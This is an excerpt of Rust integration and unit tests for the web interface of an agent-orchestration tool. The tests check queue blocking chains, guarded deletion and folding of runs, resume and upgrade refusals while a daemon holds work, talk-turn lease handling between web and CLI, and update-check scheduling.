20628 let view = list
20629 .as_array()
20630 .expect("array")
20631 .iter()
20632 .find(|v| v["id"] == t.id)
20633 .expect("task in list");
20634 assert_eq!(view["status_str"], "blocked");
20635 assert_eq!(
20636 view["blocked_by"],
20637 serde_json::json!(["20260101-000000-dead"])
20638 );
20639 assert_eq!(view["block_reason"], "waiting on Task 1");
20640 assert_eq!(view["answers"][0]["question"], "Which backend?");
20641 assert_eq!(view["answers"][0]["answer"], "SQLite");
20642
20643 let res = fx
20647 .post(&format!("/api/queue/{}/hold", t.short()), None)
20648 .await;
20649 assert_eq!(res.status, 200);
20650 let held = res.json();
20651 assert_eq!(held["status_str"], "held");
20652 assert_eq!(held["blocked_by"], serde_json::json!([]));
20653 assert!(held["block_reason"].is_null());
20654 assert_eq!(held["answers"][0]["answer"], "SQLite");
20655 }
20656
20657 #[tokio::test]
20658 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20659 let fx = Fixture::start().await;
20660 let q = fx.queue();
20661 let mk = |title: &str| {
20662 Task::new(
20663 title.to_owned(),
20664 "Instruction".to_owned(),
20665 PathBuf::from("/repo"),
20666 Source::Human,
20667 )
20668 };
20669 let mut root = mk("root");
20670 root.hold_manual(Some("waiting".to_owned()));
20671 q.put(&mut root).unwrap();
20672 let mut mid = mk("mid");
20673 mid.block(vec![root.id.clone()], None);
20674 q.put(&mut mid).unwrap();
20675 let mut leaf = mk("leaf");
20676 leaf.block(vec![mid.id.clone()], None);
20677 q.put(&mut leaf).unwrap();
20678
20679 let list = fx.get("/api/queue").await.json();
20680 let find = |id: &str| {
20681 list.as_array()
20682 .unwrap()
20683 .iter()
20684 .find(|v| v["id"] == id)
20685 .unwrap()
20686 .clone()
20687 };
20688 let leaf_view = find(&leaf.id);
20689 assert_eq!(
20690 leaf_view["waits_on"],
20691 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20692 );
20693 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20694 assert_eq!(
20695 find(&mid.id)["waits_on"],
20696 serde_json::json!([format!("{} (held)", root.short())])
20697 );
20698 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20699 }
20700
20701 #[tokio::test]
20702 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20703 let fx = Fixture::start().await;
20704 let q = fx.queue();
20705
20706 let mut t1 = Task::new(
20708 "Task 1".to_owned(),
20709 "Instruction 1".to_owned(),
20710 PathBuf::from("/repo"),
20711 Source::Human,
20712 );
20713 let run_id = "20260901-000000-r111";
20714 t1.runs.push(run_id.to_owned());
20715 write_run(&fx.runs(), run_id, RunStatus::Merged);
20716 q.put(&mut t1).expect("put t1");
20717
20718 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20720 assert_eq!(res.status, 204);
20721 assert!(res.body.is_empty(), "204 No Content has no body");
20722 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20723 assert!(
20724 fx.runs().join(run_id).exists(),
20725 "run directory must not be deleted when its task is deleted"
20726 );
20727
20728 let mut t2 = Task::new(
20730 "Task 2".to_owned(),
20731 "Instruction 2".to_owned(),
20732 PathBuf::from("/repo"),
20733 Source::Human,
20734 );
20735 t2.status = TaskStatus::Running;
20736 q.put(&mut t2).expect("put t2");
20737 let mut beat = crate::daemon::Status::new();
20738 beat.current = vec![crate::daemon::Current {
20739 task: t2.id.clone(),
20740 run: "20260901-000000-r222".to_owned(),
20741 }];
20742 beat.updated_at = jiff::Timestamp::now();
20743 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20744 .expect("publish a heartbeat");
20745 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20746 assert_eq!(res.status, 409);
20747 assert!(
20748 res.json()["error"]
20749 .as_str()
20750 .unwrap()
20751 .contains("live daemon")
20752 );
20753 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20754
20755 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20761 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20762 .expect("leave a stale heartbeat");
20763 let mut t3 = Task::new(
20764 "Task 3".to_owned(),
20765 "Instruction 3".to_owned(),
20766 PathBuf::from("/repo"),
20767 Source::Human,
20768 );
20769 t3.status = TaskStatus::Running;
20770 q.put(&mut t3).expect("put t3");
20771 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20772 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20773 assert_eq!(res.status, 204);
20774 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20775 assert!(
20776 q.claim(&t3.id).is_ok(),
20777 "the stale lock went with it, so the id is claimable again"
20778 );
20779
20780 let res = fx.delete("/api/queue/nonexistent").await;
20782 assert_eq!(res.status, 404);
20783 }
20784
20785 #[tokio::test]
20786 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20787 let fx = Fixture::start().await;
20788 let runs = fx.runs();
20789
20790 let run_id = "20260901-000000-fold";
20792 let mut state = RunState::new(
20793 PathBuf::from("/repo"),
20794 "main".to_owned(),
20795 "abc".to_owned(),
20796 "instruction".to_owned(),
20797 Config::default(),
20798 );
20799 state.id = run_id.to_owned();
20800 state.status = RunStatus::Merged;
20801 state.candidates.push(crate::run::Candidate {
20802 index: 0,
20803 label: 'A',
20804 agent: "a".to_owned(),
20805 branch: "b".to_owned(),
20806 worktree: PathBuf::from("/w"),
20807 summary: String::new(),
20808 stat: String::new(),
20809 files: 1,
20810 commits: 1,
20811 empty: false,
20812 failed: None,
20813 verified_noop: None,
20814 duration_ms: 0,
20815 folded: true,
20816 });
20817 let dir = runs.join(run_id);
20818 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20819 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20820 .expect("write artifact");
20821 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20822 .expect("write run.json");
20823
20824 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20826 assert_eq!(res.status, 204);
20827 assert!(res.body.is_empty(), "204 has no body");
20828 assert!(!dir.exists(), "run directory and artifacts must be deleted");
20829
20830 let run_running = "20260901-000000-rung";
20835 write_run(&runs, run_running, RunStatus::Prep);
20836 let mut beat = crate::daemon::Status::new();
20837 beat.current = vec![crate::daemon::Current {
20838 task: "20260901-000000-task".to_owned(),
20839 run: run_running.to_owned(),
20840 }];
20841 beat.updated_at = jiff::Timestamp::now();
20842 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20843 .expect("publish a heartbeat");
20844 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20845 assert_eq!(res.status, 409);
20846 assert!(
20847 res.json()["error"]
20848 .as_str()
20849 .unwrap()
20850 .contains("live daemon"),
20851 "the refusal must say who is holding it"
20852 );
20853 assert!(
20854 runs.join(run_running).exists(),
20855 "a run in flight keeps its directory"
20856 );
20857
20858 let run_unfolded = "20260901-000000-unfd";
20860 let mut state2 = RunState::new(
20861 PathBuf::from("/repo"),
20862 "main".to_owned(),
20863 "abc".to_owned(),
20864 "instruction".to_owned(),
20865 Config::default(),
20866 );
20867 state2.id = run_unfolded.to_owned();
20868 state2.status = RunStatus::Ready;
20869 state2.candidates.push(crate::run::Candidate {
20870 index: 0,
20871 label: 'A',
20872 agent: "a".to_owned(),
20873 branch: "b".to_owned(),
20874 worktree: PathBuf::from("/w"),
20875 summary: String::new(),
20876 stat: String::new(),
20877 files: 1,
20878 commits: 1,
20879 empty: false,
20880 failed: None,
20881 verified_noop: None,
20882 duration_ms: 0,
20883 folded: false,
20884 });
20885 let dir2 = runs.join(run_unfolded);
20886 std::fs::create_dir_all(&dir2).expect("create dir2");
20887 std::fs::write(
20888 dir2.join("run.json"),
20889 serde_json::to_string(&state2).unwrap(),
20890 )
20891 .expect("write run.json");
20892
20893 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20894 assert_eq!(res.status, 409);
20895 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20896 assert!(dir2.exists(), "unfolded run directory is kept");
20897
20898 let res = fx.delete("/api/runs/nonexistent").await;
20900 assert_eq!(res.status, 404);
20901 }
20902
20903 #[test]
20912 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20913 let start = APP_JS
20914 .find("function renderStats() {")
20915 .expect("renderStats");
20916 let end = start
20917 + APP_JS[start..]
20918 .find("function statsTile(")
20919 .expect("the next top-level function");
20920 let body = &APP_JS[start..end];
20921
20922 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20923 let gate_end = gate_start
20924 + body[gate_start..]
20925 .find("}\n renderStatsQueue")
20926 .expect("the gate's own closing brace, right before the unconditional call");
20927 let gated = &body[gate_start..gate_end];
20928
20929 assert_eq!(
20930 body.matches("renderStatsQueue(").count(),
20931 1,
20932 "renderStats must call renderStatsQueue exactly once: {body}"
20933 );
20934 assert!(
20935 !gated.contains("renderStatsQueue"),
20936 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20937 run-derived panels on an empty run history - the queue panel has to render \
20938 regardless: {gated}"
20939 );
20940 }
20941
20942 #[test]
20943 fn web_ui_delete_contract_in_front_end() {
20944 assert!(APP_JS.contains("deleteRun:"));
20946 assert!(APP_JS.contains("deleteTask:"));
20947
20948 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20950 ..APP_JS.find("function renderRuns").unwrap()];
20951 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20952
20953 assert!(APP_JS.contains("renderRunDelete"));
20955 assert!(APP_JS.contains("runDeleteReason"));
20956 assert!(APP_JS.contains("magi fold"));
20957 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20958
20959 assert!(APP_JS.contains("cancel.focus"));
20961 assert!(APP_JS.contains("armedRunDelete"));
20962 assert!(APP_JS.contains("renderTaskDeleteBox"));
20963 assert!(APP_JS.contains("armed${cap(key)}"));
20964
20965 assert!(APP_JS.contains("disabled: status === \"running\""));
20967 }
20968
20969 #[test]
20989 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20990 let build = APP_JS
20991 .find("function createRunCard")
20992 .expect("createRunCard exists");
20993 let update = APP_JS
20994 .find("function updateRunCard")
20995 .expect("updateRunCard exists");
20996 let end = APP_JS
20997 .find("function renderRuns")
20998 .expect("renderRuns exists");
20999
21000 let builder = &APP_JS[build..update];
21002 let open = builder.find("refs = {").expect("createRunCard sets refs");
21003 let literal = &builder[open + "refs = {".len()..];
21004 let close = literal.find('}').expect("the refs literal is closed");
21005 let published: HashSet<&str> = literal[..close]
21006 .split(',')
21007 .filter_map(|entry| entry.split(':').next())
21009 .map(str::trim)
21010 .filter(|name| !name.is_empty())
21011 .collect();
21012 assert!(
21013 published.len() > 5,
21014 "the refs literal did not parse into names: {published:?}"
21015 );
21016
21017 let mut used: Vec<&str> = Vec::new();
21020 let updaters = &APP_JS[update..end];
21021 for (at, _) in updaters.match_indices("r.") {
21022 let before = updaters[..at].chars().next_back();
21025 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21026 continue;
21027 }
21028 let rest = &updaters[at + 2..];
21029 let len = rest
21030 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21031 .unwrap_or(rest.len());
21032 if len > 0 {
21033 used.push(&rest[..len]);
21034 }
21035 }
21036 assert!(
21037 used.len() > 5,
21038 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21039 );
21040
21041 let missing: Vec<&str> = used
21042 .iter()
21043 .copied()
21044 .filter(|name| !published.contains(name))
21045 .collect();
21046 assert!(
21047 missing.is_empty(),
21048 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21049 never put in `refs` - every card will throw and the list will \
21050 render empty under a count line that says otherwise. Published: \
21051 {published:?}"
21052 );
21053 }
21054
21055 #[tokio::test]
21056 async fn folding_from_the_phone_reports_what_it_removed() {
21057 let fx = Fixture::start().await;
21058 let runs = fx.runs();
21059
21060 let id = "20260901-000000-fold";
21064 write_run(&runs, id, RunStatus::Stalled);
21065 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21066 assert_eq!(res.status, 200);
21067 assert_eq!(res.json()["removed_count"], 0);
21068 assert_eq!(res.json()["run"], id);
21069 assert!(
21070 runs.join(id).exists(),
21071 "a fold keeps the run's record; only the worktrees go"
21072 );
21073 }
21074
21075 #[tokio::test]
21076 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21077 let fx = Fixture::start().await;
21078 let runs = fx.runs();
21079 let wt = fx.home.path().join("wt").join("magi").join("dead");
21080 let id = "20260901-000000-dead";
21081 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21082 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21083 std::fs::create_dir_all(&wt).expect("worktree dir");
21084
21085 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21086 assert_eq!(res.status, 200, "{}", res.body);
21087 assert!(
21088 res.json()["removed_count"].as_u64().unwrap() > 0,
21089 "the worktree this build could not read a state for still went"
21090 );
21091 assert!(
21092 !runs.join(id).exists(),
21093 "an unreadable run has no candidate list to fold selectively, so \
21094 the whole record goes - same as `magi fold` on the CLI"
21095 );
21096 }
21097
21098 #[tokio::test]
21099 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21100 let fx = Fixture::start().await;
21101 let runs = fx.runs();
21102 let wt = fx.home.path().join("wt").join("magi").join("gone");
21103 let id = "20260901-000000-gone";
21104 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21105 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21106 std::fs::create_dir_all(&wt).expect("worktree dir");
21107
21108 let res = fx.delete(&format!("/api/runs/{id}")).await;
21109 assert_eq!(res.status, 204, "{}", res.body);
21110 assert!(!runs.join(id).exists(), "the broken record is gone");
21111 assert!(!wt.exists(), "its worktree is gone too");
21112 }
21113
21114 #[tokio::test]
21115 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21116 let fx = Fixture::start().await;
21117 let runs = fx.runs();
21118 let id = "20260901-000000-live";
21119 write_run(&runs, id, RunStatus::Implementing);
21120
21121 let mut beat = crate::daemon::Status::new();
21122 beat.current = vec![crate::daemon::Current {
21123 task: "20260901-000000-task".to_owned(),
21124 run: id.to_owned(),
21125 }];
21126 beat.updated_at = jiff::Timestamp::now();
21127 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21128 .expect("publish a heartbeat");
21129
21130 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21131 assert_eq!(res.status, 409);
21132 assert!(
21133 res.json()["error"]
21134 .as_str()
21135 .unwrap()
21136 .contains("live daemon"),
21137 "folding under a running agent would pull its worktree away"
21138 );
21139 }
21140
21141 #[tokio::test]
21142 async fn fold_merged_requires_a_pr_url() {
21143 let fx = Fixture::start().await;
21144 let runs = fx.runs();
21145 let id = "20260901-000000-nourl";
21146 write_run(&runs, id, RunStatus::Blocked);
21147
21148 let res = fx
21149 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21150 .await;
21151 assert_eq!(res.status, 400, "{}", res.body);
21152
21153 let blank = fx
21154 .post(
21155 &format!("/api/runs/{id}/fold-merged"),
21156 Some(r#"{"pr_url":" "}"#),
21157 )
21158 .await;
21159 assert_eq!(blank.status, 400, "{}", blank.body);
21160 }
21161
21162 #[tokio::test]
21163 async fn fold_merged_is_404_for_an_unknown_run() {
21164 let fx = Fixture::start().await;
21165 let res = fx
21166 .post(
21167 "/api/runs/nosuchrun/fold-merged",
21168 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21169 )
21170 .await;
21171 assert_eq!(res.status, 404, "{}", res.body);
21172 }
21173
21174 #[tokio::test]
21175 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21176 let fx = Fixture::start().await;
21177 let runs = fx.runs();
21178 let id = "20260901-000000-livemerge";
21179 write_run(&runs, id, RunStatus::Blocked);
21180
21181 let mut beat = crate::daemon::Status::new();
21182 beat.current = vec![crate::daemon::Current {
21183 task: "20260901-000000-task".to_owned(),
21184 run: id.to_owned(),
21185 }];
21186 beat.updated_at = jiff::Timestamp::now();
21187 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21188 .expect("publish a heartbeat");
21189
21190 let res = fx
21191 .post(
21192 &format!("/api/runs/{id}/fold-merged"),
21193 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21194 )
21195 .await;
21196 assert_eq!(res.status, 409, "{}", res.body);
21197 assert!(
21198 res.json()["error"]
21199 .as_str()
21200 .unwrap()
21201 .contains("live daemon"),
21202 "correcting a run's merge underneath a running agent would race \
21203 whatever it is doing to the same `status`/`merge` fields"
21204 );
21205 }
21206
21207 #[tokio::test]
21212 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21213 let fx = Fixture::start().await;
21214 let runs = fx.runs();
21215 let id = "20260901-000000-unconfirmed";
21216 write_run(&runs, id, RunStatus::Blocked);
21217
21218 let res = fx
21219 .post(
21220 &format!("/api/runs/{id}/fold-merged"),
21221 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21222 )
21223 .await;
21224 assert_eq!(res.status, 400, "{}", res.body);
21225 assert_eq!(
21226 read_run(&runs, id).unwrap().status,
21227 RunStatus::Blocked,
21228 "a pull request that could not be confirmed merged must leave \
21229 the run exactly where it was"
21230 );
21231 }
21232
21233 #[tokio::test]
21234 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21235 let fx = Fixture::start().await;
21236 let runs = fx.runs();
21237
21238 for (status, word) in [
21244 (RunStatus::Merged, "merged"),
21245 (RunStatus::Ready, "ready"),
21246 (RunStatus::Failed, "failed"),
21247 ] {
21248 let id = format!("20260901-000000-{}", &word[..4]);
21249 write_run(&runs, &id, status);
21250 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21251 assert_eq!(res.status, 409, "{word} must not be resumable");
21252 let err = res.json()["error"].as_str().unwrap().to_owned();
21253 assert!(err.contains(word), "the refusal names the status: {err}");
21254 }
21255
21256 let mid = "20260901-000000-midf";
21261 write_run(&runs, mid, RunStatus::Reviewing);
21262 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21263 assert_eq!(res.status, 202, "an interrupted run is resumable");
21264 }
21265
21266 #[tokio::test]
21267 async fn resume_is_refused_while_the_loop_is_running() {
21268 let fx = Fixture::start().await;
21269 let runs = fx.runs();
21270 let stalled = "20260901-000000-stal";
21271 write_run(&runs, stalled, RunStatus::Stalled);
21272
21273 let mut beat = crate::daemon::Status::new();
21277 beat.current = vec![crate::daemon::Current {
21278 task: "20260901-000000-task".to_owned(),
21279 run: "20260901-000000-othr".to_owned(),
21280 }];
21281 beat.updated_at = jiff::Timestamp::now();
21282 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21283 .expect("publish a heartbeat");
21284
21285 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21286 assert_eq!(res.status, 409);
21287 let err = res.json()["error"].as_str().unwrap().to_owned();
21288 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21289 assert!(err.contains("stop it first"), "{err}");
21290 }
21291
21292 #[test]
21293 fn a_run_cannot_be_resumed_twice_at_once() {
21294 let home = TempDir::new().expect("temp home");
21295 let ui = Ui::new(
21296 Queue::at(home.path().join("queue")),
21297 Questions::at(home.path().join("questions")),
21298 Talks::at(home.path().join("talks")),
21299 home.path().join("runs"),
21300 home.path().to_path_buf(),
21301 PathBuf::from("/repo"),
21302 )
21303 .with_worktrees_root(home.path().join("wt"));
21304 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21305 let again = ui.begin_resume("20260901-000000-once");
21306 assert!(again.is_err(), "a second tap must not start a second graph");
21307 drop(first);
21308 assert!(
21309 ui.begin_resume("20260901-000000-once").is_ok(),
21310 "and the claim is released when the attempt ends"
21311 );
21312 }
21313
21314 #[test]
21315 fn talk_thinking_tracks_only_its_held_turn_claim() {
21316 let home = TempDir::new().expect("temp home");
21317 let ui = Ui::new(
21318 Queue::at(home.path().join("queue")),
21319 Questions::at(home.path().join("questions")),
21320 Talks::at(home.path().join("talks")),
21321 home.path().join("runs"),
21322 home.path().to_path_buf(),
21323 PathBuf::from("/repo"),
21324 )
21325 .with_worktrees_root(home.path().join("wt"));
21326 let id = "20260901-000000-once";
21327
21328 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21329 let turn = ui.begin_talk_turn(id).expect("claim turn");
21330 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21331 assert!(
21332 !ui.is_thinking("20260901-000000-other"),
21333 "one talk's turn does not make another talk busy"
21334 );
21335 drop(turn);
21336 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21337 }
21338
21339 #[test]
21340 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21341 let home = TempDir::new().expect("temp home");
21342 let talks = Talks::at(home.path().join("talks"));
21343 let ui = Ui::new(
21344 Queue::at(home.path().join("queue")),
21345 Questions::at(home.path().join("questions")),
21346 talks.clone(),
21347 home.path().join("runs"),
21348 home.path().to_path_buf(),
21349 PathBuf::from("/repo"),
21350 )
21351 .with_worktrees_root(home.path().join("wt"));
21352 let id = "20260901-000000-cross";
21353
21354 let other = Talks::at(home.path().join("talks"))
21355 .claim_turn(id)
21356 .expect("claim")
21357 .expect("the other process wins");
21358 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21359 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21360 assert!(
21361 matches!(
21362 ui.begin_talk_turn_unless_pending(id).expect("start"),
21363 TalkTurnStart::Foreign
21364 ),
21365 "a foreign holder is refused, not queued behind"
21366 );
21367 assert!(
21368 !ui.talk_turns.lock().unwrap().live.contains(id),
21369 "a refused claim leaves no in-process entry behind"
21370 );
21371 drop(other);
21372 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21373 assert!(talks.turn_held(id), "the web turn holds the lease");
21374 drop(turn);
21375 assert!(
21376 !talks.turn_held(id),
21377 "dropping the guard releases the lease"
21378 );
21379 }
21380
21381 fn consult_question(ui: &Ui) -> Question {
21382 let mut q = Question::new(
21383 "20260901-000000-consult".to_owned(),
21384 "implement".to_owned(),
21385 "impl-A".to_owned(),
21386 "Which backend?".to_owned(),
21387 String::new(),
21388 vec!["SQLite".to_owned(), "Redis".to_owned()],
21389 );
21390 ui.questions.put(&mut q).expect("question");
21391 q
21392 }
21393
21394 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21395 (
21396 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21397 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21398 )
21399 }
21400
21401 #[tokio::test]
21402 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21403 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21404 let q = consult_question(&ui);
21405 let talk = ui.talks.get(&id).expect("talk");
21406 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21407 let before = consult_snapshot(&ui, &q, &id);
21408 let cli_talks = Talks::at(ui.home.join("talks"));
21409 assert_eq!(
21410 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21411 .await
21412 .expect("CLI starter"),
21413 crate::consult::Started::Busy
21414 );
21415 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21416 assert!(ui.is_thinking(&id));
21417 drop(guard);
21418 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21419 }
21420
21421 #[tokio::test]
21422 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21423 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21424 let q = consult_question(&ui);
21425 let talk = ui.talks.get(&id).expect("talk");
21426 let started = tmp.path().join("started");
21427 let release = tmp.path().join("release");
21428 let script = tmp.path().join("consult-agent.sh");
21429 std::fs::write(
21430 &script,
21431 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21432 )
21433 .expect("script");
21434 let mut cfg = stub_config();
21435 cfg.agents[0].id = "mock".to_owned();
21436 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21437 cfg.agents[0].env = std::collections::BTreeMap::from([
21438 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21439 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21440 ]);
21441 let questions = ui.questions.clone();
21442 let cli_talks = Talks::at(ui.home.join("talks"));
21443 let cli_q = q.clone();
21444 let turn = tokio::spawn(async move {
21445 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21446 });
21447 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21448 while !started.exists() {
21449 tokio::time::sleep(Duration::from_millis(10)).await;
21450 }
21451 })
21452 .await;
21453 let refusal = if ready.is_ok() {
21456 let before = consult_snapshot(&ui, &q, &id);
21457 let result = talk_say(
21458 State(Arc::clone(&ui)),
21459 Path(id.clone()),
21460 Ok(Json(NewTalkTurn {
21461 reply_to: None,
21462 text: "another message".to_owned(),
21463 attachments: Vec::new(),
21464 })),
21465 )
21466 .await;
21467 Some((result, before, consult_snapshot(&ui, &q, &id)))
21468 } else {
21469 None
21470 };
21471 std::fs::write(&release, "").expect("release agent");
21472 let done = turn.await.expect("join CLI turn");
21473 ready.expect("agent started before deadline");
21474 let (result, before, after) = refusal.expect("web request");
21475 let error = result.expect_err("web must refuse the CLI's turn");
21476 assert_eq!(error.status, StatusCode::CONFLICT);
21477 assert!(error.message.contains("a turn is already running"));
21478 assert_eq!(
21479 after, before,
21480 "refusal preserves question, draft and history"
21481 );
21482 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21483 let guard = ui
21484 .begin_talk_turn(&id)
21485 .expect("web claim")
21486 .expect("free again");
21487 drop(guard);
21488 }
21489
21490 #[test]
21491 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21492 let home = TempDir::new().expect("temp home");
21493 let talks = Talks::at(home.path().join("talks"));
21494 let ui = Ui::new(
21495 Queue::at(home.path().join("queue")),
21496 Questions::at(home.path().join("questions")),
21497 talks.clone(),
21498 home.path().join("runs"),
21499 home.path().to_path_buf(),
21500 PathBuf::from("/repo"),
21501 )
21502 .with_worktrees_root(home.path().join("wt"));
21503 let id = "20260901-000000-order";
21504 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21505 let slots = ui.talk_turns.lock().unwrap();
21507 let dropper = std::thread::spawn(move || drop(turn));
21508 let start = std::time::Instant::now();
21509 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21510 std::thread::sleep(Duration::from_millis(5));
21511 }
21512 assert!(!talks.turn_held(id), "the lease is released first");
21513 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21514 drop(slots);
21515 dropper.join().expect("join");
21516 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21517 }
21518
21519 #[tokio::test]
21520 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21521 let fx = Fixture::start().await;
21522 let mut beat = crate::daemon::Status::new();
21526 beat.pid = 4321;
21527 beat.updated_at = jiff::Timestamp::now();
21528 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21529 .expect("publish a heartbeat");
21530
21531 let res = fx.post("/api/upgrade", None).await;
21532 assert_eq!(res.status, 409);
21533 let err = res.json()["error"].as_str().unwrap().to_owned();
21534 assert!(err.contains("4321"), "the refusal names the owner: {err}");
21535 assert!(err.contains("old one against the same queue"), "{err}");
21536 }
21537
21538 #[test]
21545 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21546 assert!(!should_spawn_recheck(&crate::config::Update {
21547 mode: UpdateMode::Off,
21548 interval: None,
21549 }));
21550
21551 unsafe {
21554 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21555 }
21556 let killed = should_spawn_recheck(&crate::config::Update {
21557 mode: UpdateMode::Notify,
21558 interval: None,
21559 });
21560 unsafe {
21561 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21562 }
21563 assert!(
21564 !killed,
21565 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21566 one-time startup check"
21567 );
21568
21569 assert!(should_spawn_recheck(&crate::config::Update {
21570 mode: UpdateMode::Notify,
21571 interval: None,
21572 }));
21573 }
21574
21575 #[test]
21581 fn recheck_poll_period_tracks_a_short_configured_interval() {
21582 let short = crate::config::Update {
21583 mode: UpdateMode::Notify,
21584 interval: Some("1m".to_owned()),
21585 };
21586 let period = recheck_poll_period(&short);
21587 assert!(
21588 period <= Duration::from_secs(30),
21589 "a one-minute interval must wake the task far sooner than the \
21590 default ceiling, or the deck would not notice within the \
21591 interval the operator configured: got {period:?}"
21592 );
21593
21594 let default = crate::config::Update {
21595 mode: UpdateMode::Notify,
21596 interval: None,
21597 };
21598 assert_eq!(
21599 recheck_poll_period(&default),
21600 UPDATE_RECHECK_POLL_MAX,
21601 "the default day-long interval should poll at the (capped) \
21602 ceiling rather than needlessly often"
21603 );
21604 }
21605
21606 #[test]
21614 fn recheck_skips_the_network_before_the_interval_elapses() {
21615 let dir = TempDir::new().expect("temp dir");
21616 let path = dir.path().join("state.json");
21617 let state = kaishin::UpdateCheckState {
21618 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21619 last_known_latest: None,
21620 last_known_url: None,
21621 };
21622 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
